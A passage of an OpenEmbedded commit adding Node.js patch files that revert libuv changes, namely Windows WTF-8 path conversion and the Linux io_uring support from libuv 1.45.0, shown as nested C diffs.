+- return -1; /* invalid: continuation byte */
+- code_point = b1;
+-
+- b2 = *++*input;
+- if ((b2 & 0xC0) != 0x80)
+- return -1; /* invalid: not a continuation byte */
+- code_point = (code_point << 6) | (b2 & 0x3F);
+- if (b1 <= 0xDF)
+- return 0x7FF & code_point; /* two-byte character */
+-
+- b3 = *++*input;
+- if ((b3 & 0xC0) != 0x80)
+- return -1; /* invalid: not a continuation byte */
+- code_point = (code_point << 6) | (b3 & 0x3F);
+- if (b1 <= 0xEF)
+- return 0xFFFF & code_point; /* three-byte character */
+-
+- b4 = *++*input;
+- if ((b4 & 0xC0) != 0x80)
+- return -1; /* invalid: not a continuation byte */
+- code_point = (code_point << 6) | (b4 & 0x3F);
+- if (b1 <= 0xF4)
+- if (code_point <= 0x10FFFF)
+- return code_point; /* four-byte character */
+-
+- /* code point too large */
+- return -1;
+-}
+-
+-
+-static ssize_t fs__get_length_wtf8(const char* source_ptr) {
+- size_t w_target_len = 0;
+- int32_t code_point;
+-
+- do {
+- code_point = fs__decode_wtf8_char(&source_ptr);
+- if (code_point < 0)
+- return -1;
+- if (code_point > 0xFFFF)
+- w_target_len++;
+- w_target_len++;
+- } while (*source_ptr++);
+- return w_target_len;
+-}
+-
+-
+-static void fs__wtf8_to_wide(const char* source_ptr, WCHAR* w_target) {
+- int32_t code_point;
+-
+- do {
+- code_point = fs__decode_wtf8_char(&source_ptr);
+- /* fs__get_length_wtf8 should have been called and checked first. */
+- assert(code_point >= 0);
+- if (code_point > 0x10000) {
+- assert(code_point < 0x10FFFF);
+- *w_target++ = (((code_point - 0x10000) >> 10) + 0xD800);
+- *w_target++ = ((code_point - 0x10000) & 0x3FF) + 0xDC00;
+- } else {
+- *w_target++ = code_point;
+- }
+- } while (*source_ptr++);
+-}
+-
+-
+ INLINE static int fs__capture_path(uv_fs_t* req, const char* path,
+ const char* new_path, const int copy_path) {
+- WCHAR* buf;
+- WCHAR* pos;
+- size_t buf_sz = 0;
+- size_t path_len = 0;
+- ssize_t pathw_len = 0;
+- ssize_t new_pathw_len = 0;
++ char* buf;
++ char* pos;
++ ssize_t buf_sz = 0, path_len = 0, pathw_len = 0, new_pathw_len = 0;
+
+ /* new_path can only be set if path is also set. */
+ assert(new_path == NULL || path != NULL);
+
+ if (path != NULL) {
+- pathw_len = fs__get_length_wtf8(path);
+- if (pathw_len < 0)
+- return ERROR_INVALID_NAME;
++ pathw_len = MultiByteToWideChar(CP_UTF8,
++ 0,
++ path,
++ -1,
++ NULL,
++ 0);
++ if (pathw_len == 0) {
++ return GetLastError();
++ }
++
+ buf_sz += pathw_len * sizeof(WCHAR);
+ }
+
+@@ -244,9 +173,16 @@ INLINE static int fs__capture_path(uv_fs_t* req, const char* path,
+ }
+
+ if (new_path != NULL) {
+- new_pathw_len = fs__get_length_wtf8(new_path);
+- if (new_pathw_len < 0)
+- return ERROR_INVALID_NAME;
++ new_pathw_len = MultiByteToWideChar(CP_UTF8,
++ 0,
++ new_path,
++ -1,
++ NULL,
++ 0);
++ if (new_pathw_len == 0) {
++ return GetLastError();
++ }
++
+ buf_sz += new_pathw_len * sizeof(WCHAR);
+ }
+
+@@ -258,7 +194,7 @@ INLINE static int fs__capture_path(uv_fs_t* req, const char* path,
+ return 0;
+ }
+
+- buf = uv__malloc(buf_sz);
++ buf = (char*) uv__malloc(buf_sz);
+ if (buf == NULL) {
+ return ERROR_OUTOFMEMORY;
+ }
+@@ -266,17 +202,29 @@ INLINE static int fs__capture_path(uv_fs_t* req, const char* path,
+ pos = buf;
+
+ if (path != NULL) {
+- fs__wtf8_to_wide(path, pos);
+- req->file.pathw = pos;
+- pos += pathw_len;
++ DWORD r = MultiByteToWideChar(CP_UTF8,
++ 0,
++ path,
++ -1,
++ (WCHAR*) pos,
++ pathw_len);
++ assert(r == (DWORD) pathw_len);
++ req->file.pathw = (WCHAR*) pos;
++ pos += r * sizeof(WCHAR);
+ } else {
+ req->file.pathw = NULL;
+ }
+
+ if (new_path != NULL) {
+- fs__wtf8_to_wide(new_path, pos);
+- req->fs.info.new_pathw = pos;
+- pos += new_pathw_len;
++ DWORD r = MultiByteToWideChar(CP_UTF8,
++ 0,
++ new_path,
++ -1,
++ (WCHAR*) pos,
++ new_pathw_len);
++ assert(r == (DWORD) new_pathw_len);
++ req->fs.info.new_pathw = (WCHAR*) pos;
++ pos += r * sizeof(WCHAR);
+ } else {
+ req->fs.info.new_pathw = NULL;
+ }
+@@ -284,8 +232,8 @@ INLINE static int fs__capture_path(uv_fs_t* req, const char* path,
+ req->path = path;
+ if (path != NULL && copy_path) {
+ memcpy(pos, path, path_len);
+- assert(path_len == buf_sz - (pos - buf) * sizeof(WCHAR));
+- req->path = (char*) pos;
++ assert(path_len == buf_sz - (pos - buf));
++ req->path = pos;
+ }
+
+ req->flags |= UV_FS_FREE_PATHS;
+@@ -311,115 +259,57 @@ INLINE static void uv__fs_req_init(uv_loop_t* loop, uv_fs_t* req,
+ }
+
+
+-static int32_t fs__get_surrogate_value(const WCHAR* w_source_ptr,
+- size_t w_source_len) {
+- WCHAR u;
+- WCHAR next;
+-
+- u = w_source_ptr[0];
+- if (u >= 0xD800 && u <= 0xDBFF && w_source_len > 1) {
+- next = w_source_ptr[1];
+- if (next >= 0xDC00 && next <= 0xDFFF)
+- return 0x10000 + ((u - 0xD800) << 10) + (next - 0xDC00);
+- }
+- return u;
+-}
+-
+-
+-static size_t fs__get_length_wide(const WCHAR* w_source_ptr,
+- size_t w_source_len) {
+- size_t target_len;
+- int32_t code_point;
++static int fs__wide_to_utf8(WCHAR* w_source_ptr,
++ DWORD w_source_len,
++ char** target_ptr,
++ uint64_t* target_len_ptr) {
++ int r;
++ int target_len;
++ char* target;
++ target_len = WideCharToMultiByte(CP_UTF8,
++ 0,
++ w_source_ptr,
++ w_source_len,
++ NULL,
++ 0,
++ NULL,
++ NULL);
+
+- target_len = 0;
+- for (; w_source_len; w_source_len--, w_source_ptr++) {
+- code_point = fs__get_surrogate_value(w_source_ptr, w_source_len);
+- /* Can be invalid UTF-8 but must be valid WTF-8. */
+- assert(code_point >= 0);
+- if (code_point < 0x80)
+- target_len += 1;
+- else if (code_point < 0x800)
+- target_len += 2;
+- else if (code_point < 0x10000)
+- target_len += 3;
+- else {
+- target_len += 4;
+- w_source_ptr++;
+- w_source_len--;
+- }
++ if (target_len == 0) {
++ return -1;
+ }
+- return target_len;
+-}
+
+-
+-static int fs__wide_to_wtf8(WCHAR* w_source_ptr,
+- size_t w_source_len,
+- char** target_ptr,
+- size_t* target_len_ptr) {
+- size_t target_len;
+- char* target;
+- int32_t code_point;
+-
+- /* If *target_ptr is provided, then *target_len_ptr must be its length
+- * (excluding space for null), otherwise we will compute the target_len_ptr
+- * length and may return a new allocation in *target_ptr if target_ptr is
+- * provided. */
+- if (target_ptr == NULL || *target_ptr == NULL) {
+- target_len = fs__get_length_wide(w_source_ptr, w_source_len);
+- if (target_len_ptr != NULL)
+- *target_len_ptr = target_len;
+- } else {
+- target_len = *target_len_ptr;
++ if (target_len_ptr != NULL) {
++ *target_len_ptr = target_len;
+ }
+
+- if (target_ptr == NULL)
++ if (target_ptr == NULL) {
+ return 0;
+-
+- if (*target_ptr == NULL) {
+- target = uv__malloc(target_len + 1);
+- if (target == NULL) {
+- SetLastError(ERROR_OUTOFMEMORY);
+- return -1;
+- }
+- *target_ptr = target;
+- } else {
+- target = *target_ptr;
+- }
+-
+- for (; w_source_len; w_source_len--, w_source_ptr++) {
+- code_point = fs__get_surrogate_value(w_source_ptr, w_source_len);
+- /* Can be invalid UTF-8 but must be valid WTF-8. */
+- assert(code_point >= 0);
+-
+- if (code_point < 0x80) {
+- *target++ = code_point;
+- } else if (code_point < 0x800) {
+- *target++ = 0xC0 | (code_point >> 6);
+- *target++ = 0x80 | (code_point & 0x3F);
+- } else if (code_point < 0x10000) {
+- *target++ = 0xE0 | (code_point >> 12);
+- *target++ = 0x80 | ((code_point >> 6) & 0x3F);
+- *target++ = 0x80 | (code_point & 0x3F);
+- } else {
+- *target++ = 0xF0 | (code_point >> 18);
+- *target++ = 0x80 | ((code_point >> 12) & 0x3F);
+- *target++ = 0x80 | ((code_point >> 6) & 0x3F);
+- *target++ = 0x80 | (code_point & 0x3F);
+- w_source_ptr++;
+- w_source_len--;
+- }
+ }
+- assert((size_t) (target - *target_ptr) == target_len);
+
+- *target++ = '\0';
++ target = uv__malloc(target_len + 1);
++ if (target == NULL) {
++ SetLastError(ERROR_OUTOFMEMORY);
++ return -1;
++ }
+
++ r = WideCharToMultiByte(CP_UTF8,
++ 0,
++ w_source_ptr,
++ w_source_len,
++ target,
++ target_len,
++ NULL,
++ NULL);
++ assert(r == target_len);
++ target[target_len] = '\0';
++ *target_ptr = target;
+ return 0;
+ }
+
+
+-INLINE static int fs__readlink_handle(HANDLE handle,
+- char** target_ptr,
+- size_t* target_len_ptr) {
++INLINE static int fs__readlink_handle(HANDLE handle, char** target_ptr,
++ uint64_t* target_len_ptr) {
+ char buffer[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
+ REPARSE_DATA_BUFFER* reparse_data = (REPARSE_DATA_BUFFER*) buffer;
+ WCHAR* w_target;
+@@ -549,8 +439,7 @@ INLINE static int fs__readlink_handle(HANDLE handle,
+ return -1;
+ }
+
+- assert(target_ptr == NULL || *target_ptr == NULL);
+- return fs__wide_to_wtf8(w_target, w_target_len, target_ptr, target_len_ptr);
++ return fs__wide_to_utf8(w_target, w_target_len, target_ptr, target_len_ptr);
+ }
+
+
+@@ -1540,8 +1429,7 @@ void fs__scandir(uv_fs_t* req) {
+ uv__dirent_t* dirent;
+
+ size_t wchar_len;
+- size_t wtf8_len;
+- char* wtf8;
++ size_t utf8_len;
+
+ /* Obtain a pointer to the current directory entry. */
+ position += next_entry_offset;
+@@ -1568,8 +1456,11 @@ void fs__scandir(uv_fs_t* req) {
+ info->FileName[1] == L'.')
+ continue;
+
+- /* Compute the space required to store the filename as WTF-8. */
+- wtf8_len = fs__get_length_wide(&info->FileName[0], wchar_len);
++ /* Compute the space required to store the filename as UTF-8. */
++ utf8_len = WideCharToMultiByte(
++ CP_UTF8, 0, &info->FileName[0], wchar_len, NULL, 0, NULL, NULL);
++ if (utf8_len == 0)
++ goto win32_error;
+
+ /* Resize the dirent array if needed. */
+ if (dirents_used >= dirents_size) {
+@@ -1589,17 +1480,26 @@ void fs__scandir(uv_fs_t* req) {
+ * includes room for the first character of the filename, but `utf8_len`
+ * doesn't count the NULL terminator at this point.
+ */
+- dirent = uv__malloc(sizeof *dirent + wtf8_len);
++ dirent = uv__malloc(sizeof *dirent + utf8_len);
+ if (dirent == NULL)
+ goto out_of_memory_error;
+
+ dirents[dirents_used++] = dirent;
+
+ /* Convert file name to UTF-8. */
+- wtf8 = &dirent->d_name[0];
+- if (fs__wide_to_wtf8(&info->FileName[0], wchar_len, &wtf8, &wtf8_len) == -1)
++ if (WideCharToMultiByte(CP_UTF8,
++ 0,
++ &info->FileName[0],
++ wchar_len,
++ &dirent->d_name[0],
++ utf8_len,
++ NULL,
++ NULL) == 0)
+ goto win32_error;
+
++ /* Add a null terminator to the filename. */
++ dirent->d_name[utf8_len] = '\0';
++
+ /* Fill out the type field. */
+ if (info->FileAttributes & FILE_ATTRIBUTE_DEVICE)
+ dirent->d_type = UV__DT_CHAR;
+@@ -1808,7 +1708,6 @@ void fs__closedir(uv_fs_t* req) {
+
+ INLINE static int fs__stat_handle(HANDLE handle, uv_stat_t* statbuf,
+ int do_lstat) {
+- size_t target_length = 0;
+ FILE_FS_DEVICE_INFORMATION device_info;
+ FILE_ALL_INFORMATION file_info;
+ FILE_FS_VOLUME_INFORMATION volume_info;
+@@ -1904,10 +1803,9 @@ INLINE static int fs__stat_handle(HANDLE handle, uv_stat_t* statbuf,
+ * to be treated as a regular file. The higher level lstat function will
+ * detect this failure and retry without do_lstat if appropriate.
+ */
+- if (fs__readlink_handle(handle, NULL, &target_length) != 0)
++ if (fs__readlink_handle(handle, NULL, &statbuf->st_size) != 0)
+ return -1;
+ statbuf->st_mode |= S_IFLNK;
+- statbuf->st_size = target_length;
+ }
+
+ if (statbuf->st_mode == 0) {
+@@ -2763,7 +2661,6 @@ static void fs__readlink(uv_fs_t* req) {
+ return;
+ }
+
+- assert(req->ptr == NULL);
+ if (fs__readlink_handle(handle, (char**) &req->ptr, NULL) != 0) {
+ DWORD error = GetLastError();
+ SET_REQ_WIN32_ERROR(req, error);
+@@ -2823,8 +2720,7 @@ static ssize_t fs__realpath_handle(HANDLE handle, char** realpath_ptr) {
+ return -1;
+ }
+
+- assert(*realpath_ptr == NULL);
+- r = fs__wide_to_wtf8(w_realpath_ptr, w_realpath_len, realpath_ptr, NULL);
++ r = fs__wide_to_utf8(w_realpath_ptr, w_realpath_len, realpath_ptr, NULL);
+ uv__free(w_realpath_buf);
+ return r;
+ }
+@@ -2844,7 +2740,6 @@ static void fs__realpath(uv_fs_t* req) {
+ return;
+ }
+
+- assert(req->ptr == NULL);
+ if (fs__realpath_handle(handle, (char**) &req->ptr) == -1) {
+ CloseHandle(handle);
+ SET_REQ_WIN32_ERROR(req, GetLastError());
+diff --git a/deps/uv/src/win/handle-inl.h b/deps/uv/src/win/handle-inl.h
+index 4722e85790a..5c843c241ef 100644
+--- a/deps/uv/src/win/handle-inl.h
++++ b/deps/uv/src/win/handle-inl.h
+@@ -75,7 +75,7 @@
+
+ #define uv__handle_close(handle) \
+ do { \
+- uv__queue_remove(&(handle)->handle_queue); \
++ QUEUE_REMOVE(&(handle)->handle_queue); \
+ uv__active_handle_rm((uv_handle_t*) (handle)); \
+ \
+ (handle)->flags |= UV_HANDLE_CLOSED; \
+diff --git a/deps/uv/src/win/pipe.c b/deps/uv/src/win/pipe.c
+index f0cac382256..5e4276387ac 100644
+--- a/deps/uv/src/win/pipe.c
++++ b/deps/uv/src/win/pipe.c
+@@ -55,7 +55,7 @@ static const int pipe_prefix_len = sizeof(pipe_prefix) - 1;
+ typedef struct {
+ uv__ipc_socket_xfer_type_t xfer_type;
+ uv__ipc_socket_xfer_info_t xfer_info;
+- struct uv__queue member;
++ QUEUE member;
+ } uv__ipc_xfer_queue_item_t;
+
+ /* IPC frame header flags. */
+@@ -111,7 +111,7 @@ int uv_pipe_init(uv_loop_t* loop, uv_pipe_t* handle, int ipc) {
+ handle->name = NULL;
+ handle->pipe.conn.ipc_remote_pid = 0;
+ handle->pipe.conn.ipc_data_frame.payload_remaining = 0;
+- uv__queue_init(&handle->pipe.conn.ipc_xfer_queue);
++ QUEUE_INIT(&handle->pipe.conn.ipc_xfer_queue);
+ handle->pipe.conn.ipc_xfer_queue_length = 0;
+ handle->ipc = ipc;
+ handle->pipe.conn.non_overlapped_writes_tail = NULL;
+@@ -637,13 +637,13 @@ void uv__pipe_endgame(uv_loop_t* loop, uv_pipe_t* handle) {
+
+ if (handle->flags & UV_HANDLE_CONNECTION) {
+ /* Free pending sockets */
+- while (!uv__queue_empty(&handle->pipe.conn.ipc_xfer_queue)) {
+- struct uv__queue* q;
++ while (!QUEUE_EMPTY(&handle->pipe.conn.ipc_xfer_queue)) {
++ QUEUE* q;
+ SOCKET socket;
+
+- q = uv__queue_head(&handle->pipe.conn.ipc_xfer_queue);
+- uv__queue_remove(q);
+- xfer_queue_item = uv__queue_data(q, uv__ipc_xfer_queue_item_t, member);
++ q = QUEUE_HEAD(&handle->pipe.conn.ipc_xfer_queue);
++ QUEUE_REMOVE(q);
++ xfer_queue_item = QUEUE_DATA(q, uv__ipc_xfer_queue_item_t, member);
+
+ /* Materialize socket and close it */
+ socket = WSASocketW(FROM_PROTOCOL_INFO,
+@@ -1124,20 +1124,20 @@ int uv__pipe_accept(uv_pipe_t* server, uv_stream_t* client) {
+ uv_loop_t* loop = server->loop;
+ uv_pipe_t* pipe_client;
+ uv_pipe_accept_t* req;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__ipc_xfer_queue_item_t* item;
+ int err;
+
+ if (server->ipc) {
+- if (uv__queue_empty(&server->pipe.conn.ipc_xfer_queue)) {
++ if (QUEUE_EMPTY(&server->pipe.conn.ipc_xfer_queue)) {
+ /* No valid pending sockets. */
+ return WSAEWOULDBLOCK;
+ }
+
+- q = uv__queue_head(&server->pipe.conn.ipc_xfer_queue);
+- uv__queue_remove(q);
++ q = QUEUE_HEAD(&server->pipe.conn.ipc_xfer_queue);
++ QUEUE_REMOVE(q);
+ server->pipe.conn.ipc_xfer_queue_length--;
+- item = uv__queue_data(q, uv__ipc_xfer_queue_item_t, member);
++ item = QUEUE_DATA(q, uv__ipc_xfer_queue_item_t, member);
+
+ err = uv__tcp_xfer_import(
+ (uv_tcp_t*) client, item->xfer_type, &item->xfer_info);
+@@ -1891,7 +1891,7 @@ static void uv__pipe_queue_ipc_xfer_info(
+ item->xfer_type = xfer_type;
+ item->xfer_info = *xfer_info;
+
+- uv__queue_insert_tail(&handle->pipe.conn.ipc_xfer_queue, &item->member);
++ QUEUE_INSERT_TAIL(&handle->pipe.conn.ipc_xfer_queue, &item->member);
+ handle->pipe.conn.ipc_xfer_queue_length++;
+ }
+
+diff --git a/deps/uv/src/win/tcp.c b/deps/uv/src/win/tcp.c
+index 187f36e2a61..6b282e0b501 100644
+--- a/deps/uv/src/win/tcp.c
++++ b/deps/uv/src/win/tcp.c
+@@ -175,14 +175,14 @@ int uv_tcp_init_ex(uv_loop_t* loop, uv_tcp_t* handle, unsigned int flags) {
+ sock = socket(domain, SOCK_STREAM, 0);
+ if (sock == INVALID_SOCKET) {
+ err = WSAGetLastError();
+- uv__queue_remove(&handle->handle_queue);
++ QUEUE_REMOVE(&handle->handle_queue);
+ return uv_translate_sys_error(err);
+ }
+
+ err = uv__tcp_set_socket(handle->loop, handle, sock, domain, 0);
+ if (err) {
+ closesocket(sock);
+- uv__queue_remove(&handle->handle_queue);
++ QUEUE_REMOVE(&handle->handle_queue);
+ return uv_translate_sys_error(err);
+ }
+
+diff --git a/deps/uv/src/win/udp.c b/deps/uv/src/win/udp.c
+index eab53842d4f..8a982d1907d 100644
+--- a/deps/uv/src/win/udp.c
++++ b/deps/uv/src/win/udp.c
+@@ -146,14 +146,14 @@ int uv__udp_init_ex(uv_loop_t* loop,
+ sock = socket(domain, SOCK_DGRAM, 0);
+ if (sock == INVALID_SOCKET) {
+ err = WSAGetLastError();
+- uv__queue_remove(&handle->handle_queue);
++ QUEUE_REMOVE(&handle->handle_queue);
+ return uv_translate_sys_error(err);
+ }
+
+ err = uv__udp_set_socket(handle->loop, handle, sock, domain);
+ if (err) {
+ closesocket(sock);
+- uv__queue_remove(&handle->handle_queue);
++ QUEUE_REMOVE(&handle->handle_queue);
+ return uv_translate_sys_error(err);
+ }
+ }
diff --git a/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0002-Revert-io_uring-changes-from-libuv-1.45.0.patch b/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0002-Revert-io_uring-changes-from-libuv-1.45.0.patch
new file mode 100644
index 0000000000..77cd53b759
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0002-Revert-io_uring-changes-from-libuv-1.45.0.patch
@@ -0,0 +1,1803 @@
+From 6d2ef4c8ba2304ee4941a6719b3ad9bd63e415a9 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Wed, 18 Oct 2023 21:09:44 +0200
+Subject: [PATCH] Revert io_uring changes from libuv-1.45.0
+
+This reverts https://github.com/libuv/libuv/pull/3952/commits/26c79a942b92573a1388c0ee8a6ad4397f009318
+
+Included in nodejs-20.3.0 with the libuv upgrade to 1.45.0 in:
+https://github.com/nodejs/node/commit/bfcb3d1d9a876f399013d326bd65804f9eda77e4
+
+Reverted libuv commits:
+Revert "linux: fix WRITEV with lots of bufs using io_uring (#4004)"
+This reverts commit ef6a9a624df0a00687037474025a3608472f722a.
+Revert "linux: work around EOWNERDEAD io_uring kernel bug (#4002)"
+This reverts commit d23a20f62cc50b9fd7694992263f1d296d8f5cb4.
+Revert "unix: handle CQ overflow in iou ring (#3991)"
+This reverts commit 30fc896cc1b5822e9f1eb462587fe4b368a6215c.
+Revert "unix: constrained_memory should return UINT64_MAX (#3753)"
+This reverts commit 6ad347fae4520f39520d34bd7c7f5ddafab13a69.
+Revert "linux: use io_uring to batch epoll_ctl calls (#3979)"
+This reverts commit 6e073ef5daf93b708a654008959b823b58029e88.
+Revert "linux: fix logic bug in sqe ring space check (#3980)"
+This reverts commit f27208224084fc972b9d2802486d97ef31b51a39.
+Revert "src: fix events/events_waiting metrics counter (#3957)"
+This reverts commit e02642cf3b768b2c58a41f97fa38507e032ae415.
+Revert "linux: remove bug workaround for obsolete kernels (#3965)"
+This reverts commit 1c935a34454167b23f8eef7f0f63d7119f0de747.
+Revert "linux: add IORING_OP_CLOSE support (#3964)"
+This reverts commit dfae365f844e127621128a76bce7165e3f99a8d9.
+Revert "linux: add IORING_OP_OPENAT support (#3963)"
+This reverts commit 5ca5e475bb1711e65323ef1594a31818e5a1a9eb.
+Revert "linux: fix academic valgrind warning (#3960)"
+This reverts commit a7ff759ca1deacb2e0e6ae3c2d3dce91cc637dfe.
+Revert "linux: introduce io_uring support (#3952)"
+This reverts commit d2c31f429b87b476a7f1344d145dad4752a406d4.
+
+Dropped deps/uv/docs deps/uv/test changes as these dirs aren't included
+in nodejs tarballs.
+
+Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
+---
+Upstream-Status: Inappropriate [OE specific]
+
+ deps/uv/docs/src/fs.rst | 6 -
+ deps/uv/docs/src/misc.rst | 5 +-
+ deps/uv/src/threadpool.c | 21 -
+ deps/uv/src/unix/aix.c | 11 +-
+ deps/uv/src/unix/fs.c | 57 +-
+ deps/uv/src/unix/internal.h | 23 -
+ deps/uv/src/unix/kqueue.c | 10 +-
+ deps/uv/src/unix/linux.c | 998 +++-----------------------
+ deps/uv/src/unix/os390.c | 11 +-
+ deps/uv/src/unix/posix-poll.c | 11 +-
+ deps/uv/src/uv-common.h | 28 -
+ deps/uv/src/win/core.c | 20 +-
+ deps/uv/test/test-fs.c | 33 -
+ deps/uv/test/test-list.h | 4 -
+ deps/uv/test/test-metrics.c | 151 ----
+ deps/uv/test/test-threadpool-cancel.c | 34 +-
+ 16 files changed, 138 insertions(+), 1285 deletions(-)
+
+diff --git a/deps/uv/src/threadpool.c b/deps/uv/src/threadpool.c
+index 51962bf0021..a3da53026f9 100644
+--- a/deps/uv/src/threadpool.c
++++ b/deps/uv/src/threadpool.c
+@@ -275,13 +275,9 @@ void uv__work_submit(uv_loop_t* loop,
+ }
+
+
+-/* TODO(bnoordhuis) teach libuv how to cancel file operations
+- * that go through io_uring instead of the thread pool.
+- */
+ static int uv__work_cancel(uv_loop_t* loop, uv_req_t* req, struct uv__work* w) {
+ int cancelled;
+
+- uv_once(&once, init_once); /* Ensure |mutex| is initialized. */
+ uv_mutex_lock(&mutex);
+ uv_mutex_lock(&w->loop->wq_mutex);
+
+@@ -311,15 +307,12 @@ void uv__work_done(uv_async_t* handle) {
+ QUEUE* q;
+ QUEUE wq;
+ int err;
+- int nevents;
+
+ loop = container_of(handle, uv_loop_t, wq_async);
+ uv_mutex_lock(&loop->wq_mutex);
+ QUEUE_MOVE(&loop->wq, &wq);
+ uv_mutex_unlock(&loop->wq_mutex);
+
+- nevents = 0;
+-
+ while (!QUEUE_EMPTY(&wq)) {
+ q = QUEUE_HEAD(&wq);
+ QUEUE_REMOVE(q);
+@@ -327,20 +320,6 @@ void uv__work_done(uv_async_t* handle) {
+ w = container_of(q, struct uv__work, wq);
+ err = (w->work == uv__cancelled) ? UV_ECANCELED : 0;
+ w->done(w, err);
+- nevents++;
+- }
+-
+- /* This check accomplishes 2 things:
+- * 1. Even if the queue was empty, the call to uv__work_done() should count
+- * as an event. Which will have been added by the event loop when
+- * calling this callback.
+- * 2. Prevents accidental wrap around in case nevents == 0 events == 0.
+- */
+- if (nevents > 1) {
+- /* Subtract 1 to counter the call to uv__work_done(). */
+- uv__metrics_inc_events(loop, nevents - 1);
+- if (uv__get_internal_fields(loop)->current_timeout == 0)
+- uv__metrics_inc_events_waiting(loop, nevents - 1);
+ }
+ }
+
+diff --git a/deps/uv/src/unix/aix.c b/deps/uv/src/unix/aix.c
+index f1afbed49ec..b855282ebc8 100644
+--- a/deps/uv/src/unix/aix.c
++++ b/deps/uv/src/unix/aix.c
+@@ -131,7 +131,6 @@ int uv__io_check_fd(uv_loop_t* loop, int fd) {
+
+
+ void uv__io_poll(uv_loop_t* loop, int timeout) {
+- uv__loop_internal_fields_t* lfields;
+ struct pollfd events[1024];
+ struct pollfd pqry;
+ struct pollfd* pe;
+@@ -155,8 +154,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ return;
+ }
+
+- lfields = uv__get_internal_fields(loop);
+-
+ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
+ q = QUEUE_HEAD(&loop->watcher_queue);
+ QUEUE_REMOVE(q);
+@@ -220,7 +217,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ base = loop->time;
+ count = 48; /* Benchmarks suggest this gives the best throughput. */
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -235,12 +232,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ if (timeout != 0)
+ uv__metrics_set_provider_entry_time(loop);
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
+- */
+- lfields->current_timeout = timeout;
+-
+ nfds = pollset_poll(loop->backend_fd,
+ events,
+ ARRAY_SIZE(events),
+diff --git a/deps/uv/src/unix/fs.c b/deps/uv/src/unix/fs.c
+index 00d385c24b7..c696a8d5500 100644
+--- a/deps/uv/src/unix/fs.c
++++ b/deps/uv/src/unix/fs.c
+@@ -61,11 +61,10 @@
+ #endif
+
+ #if defined(__linux__)
+-# include <sys/sendfile.h>
+-# include <sys/utsname.h>
++# include "sys/utsname.h"
+ #endif
+
+-#if defined(__sun)
++#if defined(__linux__) || defined(__sun)
+ # include <sys/sendfile.h>
+ # include <sys/sysmacros.h>
+ #endif
+@@ -1554,7 +1553,26 @@ static int uv__fs_statx(int fd,
+ return UV_ENOSYS;
+ }
+
+- uv__statx_to_stat(&statxbuf, buf);
++ buf->st_dev = makedev(statxbuf.stx_dev_major, statxbuf.stx_dev_minor);
++ buf->st_mode = statxbuf.stx_mode;
++ buf->st_nlink = statxbuf.stx_nlink;
++ buf->st_uid = statxbuf.stx_uid;
++ buf->st_gid = statxbuf.stx_gid;
++ buf->st_rdev = makedev(statxbuf.stx_rdev_major, statxbuf.stx_rdev_minor);
++ buf->st_ino = statxbuf.stx_ino;
++ buf->st_size = statxbuf.stx_size;
++ buf->st_blksize = statxbuf.stx_blksize;
++ buf->st_blocks = statxbuf.stx_blocks;
++ buf->st_atim.tv_sec = statxbuf.stx_atime.tv_sec;
++ buf->st_atim.tv_nsec = statxbuf.stx_atime.tv_nsec;
++ buf->st_mtim.tv_sec = statxbuf.stx_mtime.tv_sec;
++ buf->st_mtim.tv_nsec = statxbuf.stx_mtime.tv_nsec;
++ buf->st_ctim.tv_sec = statxbuf.stx_ctime.tv_sec;
++ buf->st_ctim.tv_nsec = statxbuf.stx_ctime.tv_nsec;
++ buf->st_birthtim.tv_sec = statxbuf.stx_btime.tv_sec;
++ buf->st_birthtim.tv_nsec = statxbuf.stx_btime.tv_nsec;
++ buf->st_flags = 0;
++ buf->st_gen = 0;
+
+ return 0;
+ #else
+@@ -1798,9 +1816,6 @@ int uv_fs_chown(uv_loop_t* loop,
+ int uv_fs_close(uv_loop_t* loop, uv_fs_t* req, uv_file file, uv_fs_cb cb) {
+ INIT(CLOSE);
+ req->file = file;
+- if (cb != NULL)
+- if (uv__iou_fs_close(loop, req))
+- return 0;
+ POST;
+ }
+
+@@ -1848,9 +1863,6 @@ int uv_fs_lchown(uv_loop_t* loop,
+ int uv_fs_fdatasync(uv_loop_t* loop, uv_fs_t* req, uv_file file, uv_fs_cb cb) {
+ INIT(FDATASYNC);
+ req->file = file;
+- if (cb != NULL)
+- if (uv__iou_fs_fsync_or_fdatasync(loop, req, /* IORING_FSYNC_DATASYNC */ 1))
+- return 0;
+ POST;
+ }
+
+@@ -1858,9 +1870,6 @@ int uv_fs_fdatasync(uv_loop_t* loop, uv_fs_t* req, uv_file file, uv_fs_cb cb) {
+ int uv_fs_fstat(uv_loop_t* loop, uv_fs_t* req, uv_file file, uv_fs_cb cb) {
+ INIT(FSTAT);
+ req->file = file;
+- if (cb != NULL)
+- if (uv__iou_fs_statx(loop, req, /* is_fstat */ 1, /* is_lstat */ 0))
+- return 0;
+ POST;
+ }
+
+@@ -1868,9 +1877,6 @@ int uv_fs_fstat(uv_loop_t* loop, uv_fs_t* req, uv_file file, uv_fs_cb cb) {
+ int uv_fs_fsync(uv_loop_t* loop, uv_fs_t* req, uv_file file, uv_fs_cb cb) {
+ INIT(FSYNC);
+ req->file = file;
+- if (cb != NULL)
+- if (uv__iou_fs_fsync_or_fdatasync(loop, req, /* no flags */ 0))
+- return 0;
+ POST;
+ }
+
+@@ -1917,9 +1923,6 @@ int uv_fs_lutime(uv_loop_t* loop,
+ int uv_fs_lstat(uv_loop_t* loop, uv_fs_t* req, const char* path, uv_fs_cb cb) {
+ INIT(LSTAT);
+ PATH;
+- if (cb != NULL)
+- if (uv__iou_fs_statx(loop, req, /* is_fstat */ 0, /* is_lstat */ 1))
+- return 0;
+ POST;
